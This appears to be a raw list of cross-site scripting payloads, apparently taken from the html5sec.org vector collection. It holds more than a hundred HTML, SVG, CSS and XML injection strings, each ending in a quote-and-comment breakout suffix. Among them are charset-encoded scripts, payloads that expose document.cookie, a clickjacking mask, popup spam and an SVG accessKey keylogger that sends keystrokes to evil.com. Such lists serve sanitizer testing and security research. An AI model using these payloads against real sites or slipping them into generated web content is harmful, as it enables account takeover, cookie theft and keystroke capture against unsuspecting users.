"><img src=x onerror=prompt(1)>
<form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>//["'`-->]]>]

<meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi//["'`-->]]>]

<meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>//["'`-->]]>]

0?<script>Worker("#").onmessage=function(_)eval(_.data)</script> :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk'))//["'`-->]]>]

<script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(5)',384,null,'rsa-dual-use')</script>//["'`-->]]>]

<script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script>//["'`-->]]>]

<input onfocus=alert(7) autofocus>//["'`-->]]>]

<input onblur=alert(8) autofocus><input autofocus>//["'`-->]]>]

<a style="-o-link:'javascript:alert(9)';-o-link-source:current">X</a>//["'`-->]]>]

<video poster=javascript:alert(10)//></video>//["'`-->]]>]

<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(11)"></g></svg>//["'`-->]]>]

<body onscroll=alert(12)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>//["'`-->]]>]

<x repeat="template" repeat-start="999999">0<y repeat="template" repeat-start="999999">1</y></x>//["'`-->]]>]

<input pattern=^((a+.)a)+$ value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!>//["'`-->]]>]

<script>({0:#0=alert/#0#/#0#(0)})</script>//["'`-->]]>]

X<x style=`behavior:url(#default#time2)` onbegin=`alert(16)` >//["'`-->]]>]

<?xml-stylesheet href="javascript:alert(17)"?>//["'`-->]]>]

<script xmlns="http://www.w3.org/1999/xhtml">&#x61;l&#x65;rt&#40;1)</script>//["'`-->]]>]

<meta charset="mac-farsi">¼script¾alert(19)¼/script¾//["'`-->]]>]

<script>ReferenceError.prototype.__defineGetter__('name', function(){alert(20)}),x</script>//["'`-->]]>]

<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(21)')()</script>//["'`-->]]>]

<input onblur=focus() autofocus><input>//["'`-->]]>]

<form id=test onforminput=alert(23)><input></form><button form=test onformchange=alert(2)>X</button>//["'`-->]]>]

1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=alert(24)&gt;`>//["'`-->]]>]

<script src="#">{alert(25)}</script>;1//["'`-->]]>]

+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);//["'`-->]]>]

<style>p[foo=bar{}*{-o-link:'javascript:alert(27)'}{}*{-o-link-source:current}]{color:red};</style>//["'`-->]]>]

1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=&lt;img/src=&quot;.&quot;onerror=alert(28)&gt;>//["'`-->]]>]

<link rel=stylesheet href=data:,*%7bx:expression(alert(29))%7d//["'`-->]]>]

<style>@import "data:,*%7bx:expression(alert(30))%7D";</style>//["'`-->]]>]

<frameset onload=alert(31)>//["'`-->]]>]

<table background="javascript:alert(32)"></table>//["'`-->]]>]

<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="alert(33);">XXX</a></a><a href="javascript:alert(2)">XXX</a>//["'`-->]]>]

<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=test.vml#xss></vmlframe>//["'`-->]]>]

1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:alert(35) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>//["'`-->]]>]

<a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(36)">XXX</a>//["'`-->]]>]

<!--<img src="--><img src=x onerror=alert(37)//">//["'`-->]]>]

<comment><img src="</comment><img src=x onerror=alert(38))//">//["'`-->]]>]

<![><img src="]><img src=x onerror=alert(39)//">//["'`-->]]>]

<style><img src="</style><img src=x onerror=alert(40)//">//["'`-->]]>]

<li style=list-style:url() onerror=alert(41)></li> <div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(41)>//["'`-->]]>]</div>

<head><base href="javascript://"></head><body><a href="/. /,alert(42)//#">XXX</a></body>//["'`-->]]>]

<?xml version="1.0" standalone="no"?> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <style type="text/css"> @font-face {font-family: y; src: url("font.svg#x") format("svg");} body {font: 100px "y";} </style> </head> <body>Hello</body> </html>//["'`-->]]>]

<style>*[{}@import'test.css?]</style>X//["'`-->]]>]

<div style="font-family:'foo&#10;;color:red;';">XXX//["'`-->]]>]</div>

<div style="font-family:foo}color=red;">XXX//["'`-->]]>]</div>

<svg xmlns="http://www.w3.org/2000/svg"><script>alert(47)</script></svg>//["'`-->]]>]

<SCRIPT FOR=document EVENT=onreadystatechange>alert(48)</SCRIPT>//["'`-->]]>]

<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(49)"></OBJECT>//["'`-->]]>]

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>//["'`-->]]>]

<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed>//["'`-->]]>]

<x style="behavior:url(test.sct)">//["'`-->]]>]

<xml id="xss" src="test.htc"></xml> <label dataformatas="html" datasrc="#xss" datafld="payload"></label>//["'`-->]]>]

<script>[{'a':Object.prototype.__defineSetter__('b',function(){alert(arguments[0])}),'b':['secret']}]</script>//["'`-->]]>]

<video><source onerror="javascript:alert(55)">//["'`-->]]>]

<video onerror="javascript:alert(56)"><source></source></video>//["'`-->]]>]

<b <script>alert(57)//</script>0</script></b>//["'`-->]]>]

<b><script<b></b><alert(58)</script </b></b>//["'`-->]]>]

<div id="div1"><input value="``onmouseover=alert(59)"> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>//["'`-->]]>]</div>

<div style="[a]color[b]:[c]red">XXX//["'`-->]]>]</div>

<a x="javasc&#x0Aript:alert(61)" style="\000062\00065\68\0\00 \&#xA0\000061 vio\r:url\28#default#time2);\-\ \ \00006D\0006f\7A\2d \62 \000069 \06E din\g:url(test.xbl#xss);\-\00006F\0002d\6C \69 \6e \00006B:attr(x);\-\00006F\0002d\6C \69 \6e \00006B-s\ource:current" end=0 onend=alert(61)>XXX</a>//["'`-->]]>]

<x '="foo"><x foo='><img src=x onerror=alert(62)//'>//["'`-->]]>]

<embed src="javascript:alert(63)"></embed> <img src="javascript:alert(63)"> <image src="javascript:alert(63)"> <script src="javascript:alert(63)"></script>//["'`-->]]>]

<!DOCTYPE x[<!ENTITY x SYSTEM "test.xxe">]><y>&x;</y>//["'`-->]]>]

<svg onload="javascript:alert(65)" xmlns="http://www.w3.org/2000/svg"></svg>//["'`-->]]>]

<?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="data:,%3Cxsl:transform version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' id='xss'%3E%3Cxsl:output method='html'/%3E%3Cxsl:template match='/'%3E%3Cscript%3Ealert(66)%3C/script%3E%3C/xsl:template%3E%3C/xsl:transform%3E"?> <root/>//["'`-->]]>]

<!DOCTYPE x [ <!ATTLIST img xmlns CDATA "http://www.w3.org/1999/xhtml" src CDATA "x" onerror CDATA "alert(67)"> ]><img />//["'`-->]]>]

<doc xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:html="http://www.w3.org/1999/xhtml"> <html:style /><x xlink:href="javascript:alert(68)" xlink:type="simple">XXX</x> </doc>//["'`-->]]>]

<card xmlns="http://www.wapforum.org/2001/wml"><onevent type="ontimer"><go href="javascript:alert(69)"/></onevent><timer value="1"/></card>//["'`-->]]>]

<div style=width:1px;filter:glow onfilterchange=alert(70)>x//["'`-->]]>]</div>

<// style=x:expression\28alert(71)\29>//["'`-->]]>]

<form><button formaction="javascript:alert(72)">X</button>//["'`-->]]>]

<event-source src="event.php" onload="alert(73)">//["'`-->]]>]

<a href="javascript:alert(74)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A" /></a>//["'`-->]]>]

<script<{alert(75)}/></script </>//["'`-->]]>]

<?xml-stylesheet type="text/css"?><!DOCTYPE x SYSTEM "test.dtd"><x>&x;</x>//["'`-->]]>]

<?xml-stylesheet type="text/css"?><root style="x:expression(alert(77))"/>//["'`-->]]>]

<?xml-stylesheet type="text/xsl" href="#"?><img xmlns="x-schema:test.xdr"/>//["'`-->]]>]

<object allowscriptaccess="always" data="test.swf"></object>//["'`-->]]>]

<style>*{x:ｅｘｐｒｅｓｓｉｏｎ(alert(80))}</style>//["'`-->]]>]

<x xmlns:xlink="http://www.w3.org/1999/xlink" xlink:actuate="onLoad" xlink:href="javascript:alert(81)" xlink:type="simple"/>//["'`-->]]>]

<?xml-stylesheet type="text/css" href="data:,*%7bx:expression(write(2));%7d"?>//["'`-->]]>]

<x:template xmlns:x="http://www.wapforum.org/2001/wml" x:ontimer="$(x:unesc)j$(y:escape)a$(z:noecs)v$(x)a$(y)s$(z)cript$x:alert(83)"><x:timer value="1"/></x:template>//["'`-->]]>]

<x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="javascript:alert(84)//#x"/>//["'`-->]]>]

<x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="test.evt#x"/>//["'`-->]]>]

<body oninput=alert(86)><input autofocus>//["'`-->]]>]

<svg xmlns="http://www.w3.org/2000/svg"> <a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:alert(87)"><rect width="1000" height="1000" fill="white"/></a> </svg>//["'`-->]]>]

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <animation xlink:href="javascript:alert(88)"/> <animation xlink:href="data:text/xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(88)'%3E%3C/svg%3E"/> <image xlink:href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(88)'%3E%3C/svg%3E"/> <foreignObject xlink:href="javascript:alert(88)"/> <foreignObject xlink:href="data:text/xml,%3Cscript xmlns='http://www.w3.org/1999/xhtml'%3Ealert(88)%3C/script%3E"/> </svg>//["'`-->]]>]

<svg xmlns="http://www.w3.org/2000/svg"> <set attributeName="onmouseover" to="alert(89)"/> <animate attributeName="onunload" to="alert(89)"/> </svg>//["'`-->]]>]

<div style=content:url(test2.svg)>//["'`-->]]>]</div>

[A] <? foo="><script>alert(91)</script>"> <! foo="><script>alert(91)</script>"> </ foo="><script>alert(91)</script>"> [B] <? foo="><x foo='?><script>alert(91)</script>'>"> [C] <! foo="[[[Inception]]"><x foo="]foo><script>alert(91)</script>"> [D] <% foo><x foo="%><script>alert(91)</script>">//["'`-->]]>]

<div style="background:url(http://foo.f/f oo/;color:red/*/foo.jpg);">X//["'`-->]]>]</div>

<div style="list-style:url(http://foo.f)\20url(javascript:alert(93));">X//["'`-->]]>]</div>

<svg xmlns="http://www.w3.org/2000/svg"> <handler xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load">alert(94)</handler> </svg>//["'`-->]]>]

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <feImage> <set attributeName="xlink:href" to="data:image/svg+xml;charset=utf-8;base64, PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ%2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D"/> </feImage> </svg>//["'`-->]]>]

mhtml:http://html5sec.org/test.html!xss.html mhtml:http://html5sec.org/test.gif!xss.html//["'`-->]]>]

<div id=d><x xmlns="><iframe onload=alert(97)"> <script>d.innerHTML=d.innerHTML</script>//["'`-->]]>]</div>

<div id=d><div style="font-family:'sans\27\3B color\3Ared\3B'">X</div> <script>with(document.getElementById("d"))innerHTML=innerHTML</script>//["'`-->]]>]</div>

XXX<style>*{/*all*/color/*all*/:/*all*/red/*all*/;/[0]*IE,Safari*[0]/color:green;color:bl/*IE*/ue;}</style>//["'`-->]]>]

<img[a][b][c]src[d]=x[e]onerror=[f]"alert(100)">//["'`-->]]>]

<a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:alert(101)>XXX</a>//["'`-->]]>]

<img src="x` `<script>alert(102)</script>"` `>//["'`-->]]>]

<script>history.pushState(0,0,'/i/am/somewhere_else');</script>//["'`-->]]>]

<svg xmlns="http://www.w3.org/2000/svg" id="foo"> <x xmlns="http://www.w3.org/2001/xml-events" event="load" observer="foo" handler="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Chandler%20xml%3Aid%3D%22bar%22%20type%3D%22application%2Fecmascript%22%3E alert(104) %3C%2Fhandler%3E%0A%3C%2Fsvg%3E%0A#bar"/> </svg>//["'`-->]]>]

<iframe src="data:image/svg-xml,%1F%8B%08%00%00%00%00%00%02%03%B3)N.%CA%2C(Q%A8%C8%CD%C9%2B%B6U%CA())%B0%D2%D7%2F%2F%2F%D7%2B7%D6%CB%2FJ%D77%B4%B4%B4%D4%AF%C8(%C9%CDQ%B2K%CCI-*%D10%D4%B4%D1%87%E8%B2%03"></iframe>//["'`-->]]>]

<img src onerror /" '"= alt=alert(106)//">//["'`-->]]>]

<title onpropertychange=alert(107)></title><title title=></title>//["'`-->]]>]

<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=alert(108)></a>">//["'`-->]]>]

<svg xmlns="http://www.w3.org/2000/svg"> <a id="x"><rect fill="white" width="1000" height="1000"/></a> <rect fill="white" style="clip-path:url(test3.svg#a);fill:url(#b);filter:url(#c);marker:url(#d);mask:url(#e);stroke:url(#f);"/> </svg>//["'`-->]]>]

<svg xmlns="http://www.w3.org/2000/svg"> <path d="M0,0" style="marker-start:url(test4.svg#a)"/> </svg>//["'`-->]]>]

<div style="background:url(/f#&#127;oo/;color:red/*/foo.jpg);">X//["'`-->]]>]</div>

<div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X//["'`-->]]>]</div>

<div id="x">XXX <style> #x{font-family:foo[bar;color:green;} #y];color:red;{} </style>//["'`-->]]>]</div>

<x style="background:url('x&#1;;color:red;/*')">XXX</x>//["'`-->]]>]

<!--[if]><script>alert(115)</script --> <!--[if<img src=x onerror=alert(115)//]> -->//["'`-->]]>]

<div id="x">x <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=alert(116)&gt;">//["'`-->]]>]</div>

<a href="http://attacker.org"> <iframe src="http://localhost/"></iframe> </a>//["'`-->]]>]

<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','malicious code');"> <h1>Drop me</h1>  <iframe src="http://www.example.org/dropHere.html"></iframe>//["'`-->]]>]</div>

<iframe src="view-source:http://www.example.org/" frameborder="0" style="width:400px;height:180px"></iframe> <textarea type="text" cols="50" rows="10"></textarea>//["'`-->]]>]

<script> function makePopups(){ for (i=1;i<6;i++) { window.open('popup.html','spam'+i,'width=50,height=50'); } } </script> <body> <a href="#" onclick="makePopups()">Spam</a>//["'`-->]]>]

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:svg="http://www.w3.org/2000/svg"> <body style="background:gray"> <iframe src="http://example.com/" style="width:800px; height:350px; border:none; mask: url(#maskForClickjacking);"/> <svg:svg> <svg:mask id="maskForClickjacking" maskUnits="objectBoundingBox" maskContentUnits="objectBoundingBox"> <svg:rect x="0.0" y="0.0" width="0.373" height="0.3" fill="white"/> <svg:circle cx="0.45" cy="0.7" r="0.075" fill="white"/> </svg:mask> </svg:svg> </body> </html>//["'`-->]]>]

<iframe sandbox="allow-same-origin allow-forms allow-scripts" src="http://example.org/"></iframe>//["'`-->]]>]

<span class=foo>Some text</span> <a class=bar href="http://www.example.org">www.example.org</a> <script src="http://code.jquery.com/jquery-1.4.4.js"></script> <script> $("span.foo").click(function() { alert('foo'); $("a.bar").click(); }); $("a.bar").click(function() { alert('bar'); location="http://html5sec.org"; }); </script>//["'`-->]]>]

<script src="/\example.com\foo.js"></script> // Safari 5.0, Chrome 9, 10 <script src="\\example.com\foo.js"></script> // Safari 5.0//["'`-->]]>]

<?xml version="1.0"?> <?xml-stylesheet type="text/xml" href="#stylesheet"?> <!DOCTYPE doc [ <!ATTLIST xsl:stylesheet id ID #REQUIRED>]> <svg xmlns="http://www.w3.org/2000/svg"> <xsl:stylesheet id="stylesheet" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(125)"></iframe> </xsl:template> </xsl:stylesheet> <circle fill="red" r="40"></circle> </svg>//["'`-->]]>]

<object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="alert(126)" style="behavior:url(#x);"><param name=postdomevents /></object>//["'`-->]]>]

<svg xmlns="http://www.w3.org/2000/svg" id="x"> <listener event="load" handler="#y" xmlns="http://www.w3.org/2001/xml-events" observer="x"/> <handler id="y">alert(127)</handler> </svg>//["'`-->]]>]

<svg><style>&ltimg/src=x onerror=alert(128)// </b>//["'`-->]]>]

<svg> <image style='filter:url("data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22><script>parent.alert(129)</script></svg>")'> <!-- Same effect with <image filter='...'> --> </svg>//["'`-->]]>]

<math href="javascript:alert(130)">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:alert(130)">CLICKME</maction> </math>//["'`-->]]>]

<b>drag and drop one of the following strings to the drop box:</b> <br/><hr/> jAvascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);// <br/><hr/> feed:javascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);// <br/><hr/> feed:data:text/html,&#x3c;script>alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie)&#x3c;/script>&#x3c;b> <br/><hr/> feed:feed:javAscript:javAscript:feed:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);// <br/><hr/> <div id="dropbox" style="height: 360px;width: 500px;border: 5px solid #000;position: relative;" ondragover="event.preventDefault()">+ Drop Box +//["'`-->]]>]</div>

<!doctype html> <form> <label>type a,b,c,d - watch the network tab/traffic (JS is off, latest NoScript)</label> <br> <input name="secret" type="password"> </form> <!-- injection --><svg height="50px"> <image xmlns:xlink="http://www.w3.org/1999/xlink"> <set attributeName="xlink:href" begin="accessKey(a)" to="//evil.com/?a" /> <set attributeName="xlink:href" begin="accessKey(b)" to="//evil.com/?b" /> <set attributeName="xlink:href" begin="accessKey(c)" to="//evil.com/?c" /> <set attributeName="xlink:href" begin="accessKey(d)" to="//evil.com/?d" /> </image> </svg>//["'`-->]]>]

<!-- `<img/src=xx:xx onerror=alert(133)//--!>//["'`-->]]>]